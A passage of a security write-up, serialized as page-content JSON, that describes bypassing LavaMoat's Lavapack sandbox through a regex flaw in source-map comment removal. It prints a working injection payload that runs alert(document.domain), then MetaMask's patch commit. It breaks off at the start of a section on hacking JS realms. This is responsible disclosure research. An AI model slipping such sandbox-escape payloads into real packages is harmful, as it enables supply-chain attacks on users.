'",{"type":23,"tag":481,"props":45879,"children":45880},{"style":514},[45881],{"type":28,"value":6385},{"type":23,"tag":481,"props":45883,"children":45884},{"style":508},[45885],{"type":28,"value":45886}," src",{"type":23,"tag":481,"props":45888,"children":45889},{"style":514},[45890],{"type":28,"value":6385},{"type":23,"tag":481,"props":45892,"children":45893},{"style":1805},[45894],{"type":28,"value":45895}," '",{"type":23,"tag":481,"props":45897,"children":45899},{"style":45898},"--shiki-default:#D7BA7D",[45900],{"type":28,"value":45901},"\\n",{"type":23,"tag":481,"props":45903,"children":45904},{"style":1805},[45905],{"type":28,"value":45906},"})()'",{"type":23,"tag":481,"props":45908,"children":45909},{"style":525},[45910],{"type":28,"value":1366},{"type":23,"tag":481,"props":45912,"children":45913},{"class":483,"line":531},[45914,45918],{"type":23,"tag":481,"props":45915,"children":45916},{"style":535},[45917],{"type":28,"value":14481},{"type":23,"tag":481,"props":45919,"children":45920},{"style":525},[45921],{"type":28,"value":528},{"type":23,"tag":481,"props":45923,"children":45924},{"class":483,"line":567},[45925],{"type":23,"tag":481,"props":45926,"children":45927},{"style":525},[45928],{"type":28,"value":1443},{"type":23,"tag":481,"props":45930,"children":45931},{"class":483,"line":678},[45932,45937,45941,45946],{"type":23,"tag":481,"props":45933,"children":45934},{"style":535},[45935],{"type":28,"value":45936},"catch",{"type":23,"tag":481,"props":45938,"children":45939},{"style":525},[45940],{"type":28,"value":578},{"type":23,"tag":481,"props":45942,"children":45943},{"style":508},[45944],{"type":28,"value":45945},"err",{"type":23,"tag":481,"props":45947,"children":45948},{"style":525},[45949],{"type":28,"value":12292},{"type":23,"tag":481,"props":45951,"children":45952},{"class":483,"line":784},[45953,45957,45961,45965,45969,45974,45978,45983,45987],{"type":23,"tag":481,"props":45954,"children":45955},{"style":535},[45956],{"type":28,"value":9766},{"type":23,"tag":481,"props":45958,"children":45959},{"style":525},[45960],{"type":28,"value":578},{"type":23,"tag":481,"props":45962,"children":45963},{"style":508},[45964],{"type":28,"value":45945},{"type":23,"tag":481,"props":45966,"children":45967},{"style":514},[45968],{"type":28,"value":28937},{"type":23,"tag":481,"props":45970,"children":45971},{"style":1805},[45972],{"type":28,"value":45973}," 'STOP'",{"type":23,"tag":481,"props":45975,"children":45976},{"style":525},[45977],{"type":28,"value":598},{"type":23,"tag":481,"props":45979,"children":45980},{"style":535},[45981],{"type":28,"value":45982},"return",{"type":23,"tag":481,"props":45984,"children":45985},{"style":497},[45986],{"type":28,"value":36856},{"type":23,"tag":481,"props":45988,"children":45989},{"style":525},[45990],{"type":28,"value":528},{"type":23,"tag":481,"props":45992,"children":45993},{"class":483,"line":812},[45994,45998,46002,46006,46010,46015,46019,46024,46029,46034,46038,46042,46047],{"type":23,"tag":481,"props":45995,"children":45996},{"style":535},[45997],{"type":28,"value":9766},{"type":23,"tag":481,"props":45999,"children":46000},{"style":525},[46001],{"type":28,"value":578},{"type":23,"tag":481,"props":46003,"children":46004},{"style":508},[46005],{"type":28,"value":45945},{"type":23,"tag":481,"props":46007,"children":46008},{"style":525},[46009],{"type":28,"value":199},{"type":23,"tag":481,"props":46011,"children":46012},{"style":508},[46013],{"type":28,"value":46014},"constructor",{"type":23,"tag":481,"props":46016,"children":46017},{"style":525},[46018],{"type":28,"value":199},{"type":23,"tag":481,"props":46020,"children":46021},{"style":508},[46022],{"type":28,"value":46023},"name",{"type":23,"tag":481,"props":46025,"children":46026},{"style":514},[46027],{"type":28,"value":46028}," !==",{"type":23,"tag":481,"props":46030,"children":46031},{"style":1805},[46032],{"type":28,"value":46033}," 'SyntaxError'",{"type":23,"tag":481,"props":46035,"children":46036},{"style":525},[46037],{"type":28,"value":598},{"type":23,"tag":481,"props":46039,"children":46040},{"style":535},[46041],{"type":28,"value":45982},{"type":23,"tag":481,"props":46043,"children":46044},{"style":508},[46045],{"type":28,"value":46046}," err",{"type":23,"tag":481,"props":46048,"children":46049},{"style":525},[46050],{"type":28,"value":528},{"type":23,"tag":481,"props":46052,"children":46053},{"class":483,"line":825},[46054,46058,46063,46067,46071,46075,46079,46083,46088],{"type":23,"tag":481,"props":46055,"children":46056},{"style":535},[46057],{"type":28,"value":14481},{"type":23,"tag":481,"props":46059,"children":46060},{"style":610},[46061],{"type":28,"value":46062}," errorInfo",{"type":23,"tag":481,"props":46064,"children":46065},{"style":525},[46066],{"type":28,"value":618},{"type":23,"tag":481,"props":46068,"children":46069},{"style":508},[46070],{"type":28,"value":30185},{"type":23,"tag":481,"props":46072,"children":46073},{"style":525},[46074],{"type":28,"value":588},{"type":23,"tag":481,"props":46076,"children":46077},{"style":508},[46078],{"type":28,"value":45469},{"type":23,"tag":481,"props":46080,"children":46081},{"style":525},[46082],{"type":28,"value":588},{"type":23,"tag":481,"props":46084,"children":46085},{"style":508},[46086],{"type":28,"value":46087},"opts",{"type":23,"tag":481,"props":46089,"children":46090},{"style":525},[46091],{"type":28,"value":1366},{"type":23,"tag":481,"props":46093,"children":46094},{"class":483,"line":843},[46095],{"type":23,"tag":481,"props":46096,"children":46097},{"style":525},[46098],{"type":28,"value":1443},{"type":23,"tag":24,"props":46100,"children":46101},{},[46102,46104,46108,46110,46116,46118,46123],{"type":28,"value":46103},"Interestingly, it ",{"type":23,"tag":127,"props":46105,"children":46106},{},[46107],{"type":28,"value":1518},{"type":28,"value":46109}," possible to inject a ",{"type":23,"tag":64,"props":46111,"children":46113},{"className":46112},[],[46114],{"type":28,"value":46115},"}); (() => {",{"type":28,"value":46117}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":64,"props":46119,"children":46121},{"className":46120},[],[46122],{"type":28,"value":45639},{"type":28,"value":46124}," sandbox of Lavapack.",{"type":23,"tag":7092,"props":46126,"children":46128},{"id":46127},"sourcemap-the-syntax-killer",[46129],{"type":28,"value":46130},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":46132,"children":46133},{},[46134,46136,46143],{"type":28,"value":46135},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":190,"props":46137,"children":46140},{"href":46138,"rel":46139},"https://www.npmjs.com/package/convert-source-map",[194],[46141],{"type":28,"value":46142},"convert-source-map",{"type":28,"value":46144}," npm package:",{"type":23,"tag":435,"props":46146,"children":46148},{"className":28878,"code":46147,"language":28880,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[46149],{"type":23,"tag":64,"props":46150,"children":46151},{"__ignoreMap":7},[46152,46176,46218,46226,46267,46308,46336],{"type":23,"tag":481,"props":46153,"children":46154},{"class":483,"line":484},[46155,46159,46164,46168,46172],{"type":23,"tag":481,"props":46156,"children":46157},{"style":497},[46158],{"type":28,"value":28892},{"type":23,"tag":481,"props":46160,"children":46161},{"style":610},[46162],{"type":28,"value":46163}," extractSourceMaps",{"type":23,"tag":481,"props":46165,"children":46166},{"style":525},[46167],{"type":28,"value":618},{"type":23,"tag":481,"props":46169,"children":46170},{"style":508},[46171],{"type":28,"value":35532},{"type":23,"tag":481,"props":46173,"children":46174},{"style":525},[46175],{"type":28,"value":12292},{"type":23,"tag":481,"props":46177,"children":46178},{"class":483,"line":351},[46179,46183,46188,46192,46197,46201,46206,46210,46214],{"type":23,"tag":481,"props":46180,"children":46181},{"style":497},[46182],{"type":28,"value":33706},{"type":23,"tag":481,"props":46184,"children":46185},{"style":508},[46186],{"type":28,"value":46187}," converter",{"type":23,"tag":481,"props":46189,"children":46190},{"style":514},[46191],{"type":28,"value":517},{"type":23,"tag":481,"props":46193,"children":46194},{"style":508},[46195],{"type":28,"value":46196}," convertSourceMap",{"type":23,"tag":481,"props":46198,"children":46199},{"style":525},[46200],{"type":28,"value":199},{"type":23,"tag":481,"props":46202,"children":46203},{"style":610},[46204],{"type":28,"value":46205},"fromSource",{"type":23,"tag":481,"props":46207,"children":46208},{"style":525},[46209],{"type":28,"value":618},{"type":23,"tag":481,"props":46211,"children":46212},{"style":508},[46213],{"type":28,"value":35532},{"type":23,"tag":481,"props":46215,"children":46216},{"style":525},[46217],{"type":28,"value":675},{"type":23,"tag":481,"props":46219,"children":46220},{"class":483,"line":531},[46221],{"type":23,"tag":481,"props":46222,"children":46223},{"style":488},[46224],{"type":28,"value":46225}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":481,"props":46227,"children":46228},{"class":483,"line":567},[46229,46233,46238,46242,46246,46250,46254,46258,46263],{"type":23,"tag":481,"props":46230,"children":46231},{"style":497},[46232],{"type":28,"value":33706},{"type":23,"tag":481,"props":46234,"children":46235},{"style":508},[46236],{"type":28,"value":46237}," maps",{"type":23,"tag":481,"props":46239,"children":46240},{"style":514},[46241],{"type":28,"value":517},{"type":23,"tag":481,"props":46243,"children":46244},{"style":508},[46245],{"type":28,"value":46187},{"type":23,"tag":481,"props":46247,"children":46248},{"style":514},[46249],{"type":28,"value":11673},{"type":23,"tag":481,"props":46251,"children":46252},{"style":508},[46253],{"type":28,"value":46187},{"type":23,"tag":481,"props":46255,"children":46256},{"style":525},[46257],{"type":28,"value":199},{"type":23,"tag":481,"props":46259,"children":46260},{"style":610},[46261],{"type":28,"value":46262},"toObject",{"type":23,"tag":481,"props":46264,"children":46265},{"style":525},[46266],{"type":28,"value":5214},{"type":23,"tag":481,"props":46268,"children":46269},{"class":483,"line":678},[46270,46274,46279,46283,46287,46291,46296,46300,46304],{"type":23,"tag":481,"props":46271,"children":46272},{"style":497},[46273],{"type":28,"value":33706},{"type":23,"tag":481,"props":46275,"children":46276},{"style":508},[46277],{"type":28,"value":46278}," code",{"type":23,"tag":481,"props":46280,"children":46281},{"style":514},[46282],{"type":28,"value":517},{"type":23,"tag":481,"props":46284,"children":46285},{"style":508},[46286],{"type":28,"value":46196},{"type":23,"tag":481,"props":46288,"children":46289},{"style":525},[46290],{"type":28,"value":199},{"type":23,"tag":481,"props":46292,"children":46293},{"style":610},[46294],{"type":28,"value":46295},"removeComments",{"type":23,"tag":481,"props":46297,"children":46298},{"style":525},[46299],{"type":28,"value":618},{"type":23,"tag":481,"props":46301,"children":46302},{"style":508},[46303],{"type":28,"value":35532},{"type":23,"tag":481,"props":46305,"children":46306},{"style":525},[46307],{"type":28,"value":675},{"type":23,"tag":481,"props":46309,"children":46310},{"class":483,"line":784},[46311,46315,46319,46323,46327,46332],{"type":23,"tag":481,"props":46312,"children":46313},{"style":535},[46314],{"type":28,"value":36717},{"type":23,"tag":481,"props":46316,"children":46317},{"style":525},[46318],{"type":28,"value":7069},{"type":23,"tag":481,"props":46320,"children":46321},{"style":508},[46322],{"type":28,"value":64},{"type":23,"tag":481,"props":46324,"children":46325},{"style":525},[46326],{"type":28,"value":588},{"type":23,"tag":481,"props":46328,"children":46329},{"style":508},[46330],{"type":28,"value":46331},"maps",{"type":23,"tag":481,"props":46333,"children":46334},{"style":525},[46335],{"type":28,"value":7079},{"type":23,"tag":481,"props":46337,"children":46338},{"class":483,"line":812},[46339],{"type":23,"tag":481,"props":46340,"children":46341},{"style":525},[46342],{"type":28,"value":1443},{"type":23,"tag":24,"props":46344,"children":46345},{},[46346,46348,46353,46355,46360],{"type":28,"value":46347},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":64,"props":46349,"children":46351},{"className":46350},[],[46352],{"type":28,"value":45790},{"type":28,"value":46354}," stage. Reviewing the ",{"type":23,"tag":64,"props":46356,"children":46358},{"className":46357},[],[46359],{"type":28,"value":46142},{"type":28,"value":46361}," code, we can see exactly how this happens.",{"type":23,"tag":435,"props":46363,"children":46365},{"className":28878,"code":46364,"language":28880,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[46366],{"type":23,"tag":64,"props":46367,"children":46368},{"__ignoreMap":7},[46369,46408,46434,46442,46656,46663,46670,46677,46712,46762],{"type":23,"tag":481,"props":46370,"children":46371},{"class":483,"line":484},[46372,46377,46381,46386,46390,46394,46398,46403],{"type":23,"tag":481,"props":46373,"children":46374},{"style":508},[46375],{"type":28,"value":46376},"Object",{"type":23,"tag":481,"props":46378,"children":46379},{"style":525},[46380],{"type":28,"value":199},{"type":23,"tag":481,"props":46382,"children":46383},{"style":610},[46384],{"type":28,"value":46385},"defineProperty",{"type":23,"tag":481,"props":46387,"children":46388},{"style":525},[46389],{"type":28,"value":618},{"type":23,"tag":481,"props":46391,"children":46392},{"style":943},[46393],{"type":28,"value":35404},{"type":23,"tag":481,"props":46395,"children":46396},{"style":525},[46397],{"type":28,"value":588},{"type":23,"tag":481,"props":46399,"children":46400},{"style":1805},[46401],{"type":28,"value":46402},"'commentRegex'",{"type":23,"tag":481,"props":46404,"children":46405},{"style":525},[46406],{"type":28,"value":46407},", {\n",{"type":23,"tag":481,"props":46409,"children":46410},{"class":483,"line":351},[46411,46416,46420,46424,46429],{"type":23,"tag":481,"props":46412,"children":46413},{"style":610},[46414],{"type":28,"value":46415}," get",{"type":23,"tag":481,"props":46417,"children":46418},{"style":508},[46419],{"type":28,"value":287},{"type":23,"tag":481,"props":46421,"children":46422},{"style":497},[46423],{"type":28,"value":35732},{"type":23,"tag":481,"props":46425,"children":46426},{"style":610},[46427],{"type":28,"value":46428}," getCommentRegex",{"type":23,"tag":481,"props":46430,"children":46431},{"style":525},[46432],{"type":28,"value":46433}," () {\n",{"type":23,"tag":481,"props":46435,"children":46436},{"class":483,"line":531},[46437],{"type":23,"tag":481,"props":46438,"children":46439},{"style":488},[46440],{"type":28,"value":46441}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":481,"props":46443,"children":46444},{"class":483,"line":567},[46445,46449,46455,46460,46465,46470,46474,46479,46484,46489,46493,46497,46502,46507,46512,46517,46521,46525,46529,46534,46538,46543,46548,46553,46558,46562,46566,46570,46574,46578,46582,46586,46590,46595,46600,46604,46609,46614,46618,46622,46626,46630,46635,46639,46643,46647,46652],{"type":23,"tag":481,"props":46446,"children":46447},{"style":535},[46448],{"type":28,"value":14481},{"type":23,"tag":481,"props":46450,"children":46452},{"style":46451},"--shiki-default:#D16969",[46453],{"type":28,"value":46454}," /",{"type":23,"tag":481,"props":46456,"children":46457},{"style":610},[46458],{"type":28,"value":46459},"^",{"type":23,"tag":481,"props":46461,"children":46462},{"style":46451},[46463],{"type":28,"value":46464},"\\s",{"type":23,"tag":481,"props":46466,"children":46467},{"style":45898},[46468],{"type":28,"value":46469},"*?\\/",{"type":23,"tag":481,"props":46471,"children":46472},{"style":1805},[46473],{"type":28,"value":1269},{"type":23,"tag":481,"props":46475,"children":46476},{"style":45898},[46477],{"type":28,"value":46478},"\\/\\*",{"type":23,"tag":481,"props":46480,"children":46481},{"style":1805},[46482],{"type":28,"value":46483},"][",{"type":23,"tag":481,"props":46485,"children":46486},{"style":46451},[46487],{"type":28,"value":46488},"@#",{"type":23,"tag":481,"props":46490,"children":46491},{"style":1805},[46492],{"type":28,"value":12900},{"type":23,"tag":481,"props":46494,"children":46495},{"style":46451},[46496],{"type":28,"value":46464},{"type":23,"tag":481,"props":46498,"children":46499},{"style":45898},[46500],{"type":28,"value":46501},"+?",{"type":23,"tag":481,"props":46503,"children":46504},{"style":46451},[46505],{"type":28,"value":46506},"sourceMappingURL=data:",{"type":23,"tag":481,"props":46508,"children":46509},{"style":1805},[46510],{"type":28,"value":46511},"(((?:",{"type":23,"tag":481,"props":46513,"children":46514},{"style":46451},[46515],{"type":28,"value":46516},"application",{"type":23,"tag":481,"props":46518,"children":46519},{"style":610},[46520],{"type":28,"value":7901},{"type":23,"tag":481,"props":46522,"children":46523},{"style":46451},[46524],{"type":28,"value":28},{"type":23,"tag":481,"props":46526,"children":46527},{"style":1805},[46528],{"type":28,"value":642},{"type":23,"tag":481,"props":46530,"children":46531},{"style":45898},[46532],{"type":28,"value":46533},"\\/",{"type":23,"tag":481,"props":46535,"children":46536},{"style":46451},[46537],{"type":28,"value":31514},{"type":23,"tag":481,"props":46539,"children":46540},{"style":1805},[46541],{"type":28,"value":46542},")(?:",{"type":23,"tag":481,"props":46544,"children":46545},{"style":46451},[46546],{"type":28,"value":46547},";charset=",{"type":23,"tag":481,"props":46549,"children":46550},{"style":1805},[46551],{"type":28,"value":46552},"([^",{"type":23,"tag":481,"props":46554,"children":46555},{"style":46451},[46556],{"type":28,"value":46557},";,",{"type":23,"tag":481,"props":46559,"children":46560},{"style":1805},[46561],{"type":28,"value":12900},{"type":23,"tag":481,"props":46563,"children":46564},{"style":45898},[46565],{"type":28,"value":46501},{"type":23,"tag":481,"props":46567,"children":46568},{"style":1805},[46569],{"type":28,"value":642},{"type":23,"tag":481,"props":46571,"children":46572},{"style":45898},[46573],{"type":28,"value":670},{"type":23,"tag":481,"props":46575,"children":46576},{"style":1805},[46577],{"type":28,"value":642},{"type":23,"tag":481,"props":46579,"children":46580},{"style":45898},[46581],{"type":28,"value":670},{"type":23,"tag":481,"props":46583,"children":46584},{"style":1805},[46585],{"type":28,"value":642},{"type":23,"tag":481,"props":46587,"children":46588},{"style":45898},[46589],{"type":28,"value":670},{"type":23,"tag":481,"props":46591,"children":46592},{"style":1805},[46593],{"type":28,"value":46594},"(?:",{"type":23,"tag":481,"props":46596,"children":46597},{"style":46451},[46598],{"type":28,"value":46599},";",{"type":23,"tag":481,"props":46601,"children":46602},{"style":1805},[46603],{"type":28,"value":618},{"type":23,"tag":481,"props":46605,"children":46606},{"style":46451},[46607],{"type":28,"value":46608},"base64",{"type":23,"tag":481,"props":46610,"children":46611},{"style":1805},[46612],{"type":28,"value":46613},"))",{"type":23,"tag":481,"props":46615,"children":46616},{"style":45898},[46617],{"type":28,"value":670},{"type":23,"tag":481,"props":46619,"children":46620},{"style":46451},[46621],{"type":28,"value":1671},{"type":23,"tag":481,"props":46623,"children":46624},{"style":1805},[46625],{"type":28,"value":618},{"type":23,"tag":481,"props":46627,"children":46628},{"style":46451},[46629],{"type":28,"value":199},{"type":23,"tag":481,"props":46631,"children":46632},{"style":45898},[46633],{"type":28,"value":46634},"*?",{"type":23,"tag":481,"props":46636,"children":46637},{"style":1805},[46638],{"type":28,"value":642},{"type":23,"tag":481,"props":46640,"children":46641},{"style":610},[46642],{"type":28,"value":7773},{"type":23,"tag":481,"props":46644,"children":46645},{"style":46451},[46646],{"type":28,"value":2130},{"type":23,"tag":481,"props":46648,"children":46649},{"style":497},[46650],{"type":28,"value":46651},"mg",{"type":23,"tag":481,"props":46653,"children":46654},{"style":525},[46655],{"type":28,"value":528},{"type":23,"tag":481,"props":46657,"children":46658},{"class":483,"line":678},[46659],{"type":23,"tag":481,"props":46660,"children":46661},{"style":525},[46662],{"type":28,"value":3348},{"type":23,"tag":481,"props":46664,"children":46665},{"class":483,"line":784},[46666],{"type":23,"tag":481,"props":46667,"children":46668},{"style":525},[46669],{"type":28,"value":32855},{"type":23,"tag":481,"props":46671,"children":46672},{"class":483,"line":812},[46673],{"type":23,"tag":481,"props":46674,"children":46675},{"emptyLinePlaceholder":15},[46676],{"type":28,"value":1210},{"type":23,"tag":481,"props":46678,"children":46679},{"class":483,"line":825},[46680,46684,46688,46692,46696,46700,46704,46708],{"type":23,"tag":481,"props":46681,"children":46682},{"style":943},[46683],{"type":28,"value":35404},{"type":23,"tag":481,"props":46685,"children":46686},{"style":525},[46687],{"type":28,"value":199},{"type":23,"tag":481,"props":46689,"children":46690},{"style":610},[46691],{"type":28,"value":46295},{"type":23,"tag":481,"props":46693,"children":46694},{"style":514},[46695],{"type":28,"value":517},{"type":23,"tag":481,"props":46697,"children":46698},{"style":497},[46699],{"type":28,"value":35732},{"type":23,"tag":481,"props":46701,"children":46702},{"style":525},[46703],{"type":28,"value":578},{"type":23,"tag":481,"props":46705,"children":46706},{"style":508},[46707],{"type":28,"value":30185},{"type":23,"tag":481,"props":46709,"children":46710},{"style":525},[46711],{"type":28,"value":12292},{"type":23,"tag":481,"props":46713,"children":46714},{"class":483,"line":843},[46715,46719,46723,46727,46732,46736,46740,46744,46749,46753,46758],{"type":23,"tag":481,"props":46716,"children":46717},{"style":535},[46718],{"type":28,"value":36717},{"type":23,"tag":481,"props":46720,"children":46721},{"style":508},[46722],{"type":28,"value":45886},{"type":23,"tag":481,"props":46724,"children":46725},{"style":525},[46726],{"type":28,"value":199},{"type":23,"tag":481,"props":46728,"children":46729},{"style":610},[46730],{"type":28,"value":46731},"replace",{"type":23,"tag":481,"props":46733,"children":46734},{"style":525},[46735],{"type":28,"value":618},{"type":23,"tag":481,"props":46737,"children":46738},{"style":943},[46739],{"type":28,"value":35404},{"type":23,"tag":481,"props":46741,"children":46742},{"style":525},[46743],{"type":28,"value":199},{"type":23,"tag":481,"props":46745,"children":46746},{"style":508},[46747],{"type":28,"value":46748},"commentRegex",{"type":23,"tag":481,"props":46750,"children":46751},{"style":525},[46752],{"type":28,"value":588},{"type":23,"tag":481,"props":46754,"children":46755},{"style":1805},[46756],{"type":28,"value":46757},"''",{"type":23,"tag":481,"props":46759,"children":46760},{"style":525},[46761],{"type":28,"value":1366},{"type":23,"tag":481,"props":46763,"children":46764},{"class":483,"line":864},[46765],{"type":23,"tag":481,"props":46766,"children":46767},{"style":525},[46768],{"type":28,"value":14068},{"type":23,"tag":24,"props":46770,"children":46771},{},[46772,46774,46780],{"type":28,"value":46773},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":64,"props":46775,"children":46777},{"className":46776},[],[46778],{"type":28,"value":46779},"/*",{"type":28,"value":46781},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":7092,"props":46783,"children":46785},{"id":46784},"the-bypass",[46786],{"type":28,"value":46787},"The Bypass",{"type":23,"tag":24,"props":46789,"children":46790},{},[46791,46793,46798,46800,46805],{"type":28,"value":46792},"By abusing the ",{"type":23,"tag":64,"props":46794,"children":46796},{"className":46795},[],[46797],{"type":28,"value":46295},{"type":28,"value":46799}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":64,"props":46801,"children":46803},{"className":46802},[],[46804],{"type":28,"value":45639},{"type":28,"value":46806}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":435,"props":46808,"children":46810},{"className":28878,"code":46809,"language":28880,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[46811],{"type":23,"tag":64,"props":46812,"children":46813},{"__ignoreMap":7},[46814,46822,46829,46837,46845,46853,46861,46869,46877,46884,46892],{"type":23,"tag":481,"props":46815,"children":46816},{"class":483,"line":484},[46817],{"type":23,"tag":481,"props":46818,"children":46819},{"style":488},[46820],{"type":28,"value":46821},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":481,"props":46823,"children":46824},{"class":483,"line":351},[46825],{"type":23,"tag":481,"props":46826,"children":46827},{"emptyLinePlaceholder":15},[46828],{"type":28,"value":1210},{"type":23,"tag":481,"props":46830,"children":46831},{"class":483,"line":531},[46832],{"type":23,"tag":481,"props":46833,"children":46834},{"style":488},[46835],{"type":28,"value":46836},"}}}}\n",{"type":23,"tag":481,"props":46838,"children":46839},{"class":483,"line":567},[46840],{"type":23,"tag":481,"props":46841,"children":46842},{"style":488},[46843],{"type":28,"value":46844},"}, {\n",{"type":23,"tag":481,"props":46846,"children":46847},{"class":483,"line":678},[46848],{"type":23,"tag":481,"props":46849,"children":46850},{"style":488},[46851],{"type":28,"value":46852}," package: \"xpl\",\n",{"type":23,"tag":481,"props":46854,"children":46855},{"class":483,"line":784},[46856],{"type":23,"tag":481,"props":46857,"children":46858},{"style":488},[46859],{"type":28,"value":46860}," file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":481,"props":46862,"children":46863},{"class":483,"line":812},[46864],{"type":23,"tag":481,"props":46865,"children":46866},{"style":488},[46867],{"type":28,"value":46868}," test: alert(document.domain),\n",{"type":23,"tag":481,"props":46870,"children":46871},{"class":483,"line":825},[46872],{"type":23,"tag":481,"props":46873,"children":46874},{"style":488},[46875],{"type":28,"value":46876}," test1: () => { () => { () => { () => {\n",{"type":23,"tag":481,"props":46878,"children":46879},{"class":483,"line":843},[46880],{"type":23,"tag":481,"props":46881,"children":46882},{"emptyLinePlaceholder":15},[46883],{"type":28,"value":1210},{"type":23,"tag":481,"props":46885,"children":46886},{"class":483,"line":864},[46887],{"type":23,"tag":481,"props":46888,"children":46889},{"style":488},[46890],{"type":28,"value":46891},"/*\n",{"type":23,"tag":481,"props":46893,"children":46894},{"class":483,"line":873},[46895],{"type":23,"tag":481,"props":46896,"children":46897},{"style":488},[46898],{"type":28,"value":46899},"*/\n",{"type":23,"tag":24,"props":46901,"children":46902},{},[46903],{"type":28,"value":46904},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":7092,"props":46906,"children":46908},{"id":46907},"lavapack-patch",[46909],{"type":28,"value":46910},"Lavapack Patch",{"type":23,"tag":24,"props":46912,"children":46913},{},[46914,46916,46922],{"type":28,"value":46915},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":64,"props":46917,"children":46919},{"className":46918},[],[46920],{"type":28,"value":46921},"assertValidJS",{"type":28,"value":46923},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":46925,"children":46926},{},[46927,46929,46936],{"type":28,"value":46928},"The patch was introduced in commit ",{"type":23,"tag":190,"props":46930,"children":46933},{"href":46931,"rel":46932},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[194],[46934],{"type":28,"value":46935},"9c38cd4",{"type":28,"value":199},{"type":23,"tag":435,"props":46938,"children":46940},{"className":37879,"code":46939,"language":37881,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[46941],{"type":23,"tag":64,"props":46942,"children":46943},{"__ignoreMap":7},[46944,46952,46960,46968,46976,46984,46992,47000,47007,47015],{"type":23,"tag":481,"props":46945,"children":46946},{"class":483,"line":484},[46947],{"type":23,"tag":481,"props":46948,"children":46949},{"style":551},[46950],{"type":28,"value":46951},"+ function assertValidJS(code) {\n",{"type":23,"tag":481,"props":46953,"children":46954},{"class":483,"line":351},[46955],{"type":23,"tag":481,"props":46956,"children":46957},{"style":551},[46958],{"type":28,"value":46959},"+ try {\n",{"type":23,"tag":481,"props":46961,"children":46962},{"class":483,"line":531},[46963],{"type":23,"tag":481,"props":46964,"children":46965},{"style":551},[46966],{"type":28,"value":46967},"+ new Function(code)\n",{"type":23,"tag":481,"props":46969,"children":46970},{"class":483,"line":567},[46971],{"type":23,"tag":481,"props":46972,"children":46973},{"style":551},[46974],{"type":28,"value":46975},"+ } catch (err) {\n",{"type":23,"tag":481,"props":46977,"children":46978},{"class":483,"line":678},[46979],{"type":23,"tag":481,"props":46980,"children":46981},{"style":551},[46982],{"type":28,"value":46983},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":481,"props":46985,"children":46986},{"class":483,"line":784},[46987],{"type":23,"tag":481,"props":46988,"children":46989},{"style":551},[46990],{"type":28,"value":46991},"+ }\n",{"type":23,"tag":481,"props":46993,"children":46994},{"class":483,"line":812},[46995],{"type":23,"tag":481,"props":46996,"children":46997},{"style":551},[46998],{"type":28,"value":46999},"+ }\n",{"type":23,"tag":481,"props":47001,"children":47002},{"class":483,"line":825},[47003],{"type":23,"tag":481,"props":47004,"children":47005},{"emptyLinePlaceholder":15},[47006],{"type":28,"value":1210},{"type":23,"tag":481,"props":47008,"children":47009},{"class":483,"line":843},[47010],{"type":23,"tag":481,"props":47011,"children":47012},{"style":551},[47013],{"type":28,"value":47014},"+ // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":481,"props":47016,"children":47017},{"class":483,"line":864},[47018],{"type":23,"tag":481,"props":47019,"children":47020},{"style":551},[47021],{"type":28,"value":47022},"+ assertValidJS(sourceMeta.code)\n",{"type":23,"tag":31,"props":47024,"children":47026},{"id":47025},"hacking-js-realms",[47027],{"type":28,"value":47028},"Hacking JS Realms",{"type":23,"tag":24,"props":47030,"children":47031},{},[47032,47034,47039],{"type":28,"value":47033},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":64,"props":47035,"children":47037},{"className":47036},[],[47038],{"type":28,"value":34935},{"type":28,"value":47040}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":435,"props":47042,"children":47044},{"className":28878,"code":47043,"language":28880,"meta":7,"style":7},"const w = 